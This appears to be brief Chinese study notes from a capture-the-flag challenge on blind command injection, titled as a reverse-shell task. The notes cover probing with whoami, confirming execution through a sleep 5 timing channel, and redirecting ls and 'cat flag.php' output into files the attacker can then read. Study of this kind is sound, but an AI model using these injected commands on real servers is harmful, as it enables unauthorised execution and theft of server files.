反弹shell构造 100

whoami 命令可能执行但无回显（盲执行）
sleep 5 验证命令真实执行（时间信道）
ls > out.txt

大于号 ：把标准输出重定向到文件。
所以结果会写入服务器当前目录下的 out.txt，而不是直接返回给你。

cat flag.php > o1.txt